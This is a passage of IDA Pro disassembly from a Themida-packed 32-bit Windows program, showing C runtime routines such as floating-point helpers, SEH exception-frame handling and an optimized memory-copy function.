sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2CC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8A4, offset sub_421935 mov off_43C8A0, eax mov off_43C8A8, offset sub_42199B mov off_43C8AC, offset sub_4218DB mov off_43C8B0, offset sub_421983 mov off_43C8B4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] loc_41C7B4: ; DATA XREF: Themida_:005733C8o fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2A8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB324 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2AC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2AC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC91C call sub_422608 mov edx, dword_4DC91C pop ecx mov ecx, dword_4DC918 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC91C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC918 sub ecx, dword_4DC91C mov dword_4DC91C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC918, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC918, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC91C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC91C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC91C mov dword_4DC918, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr 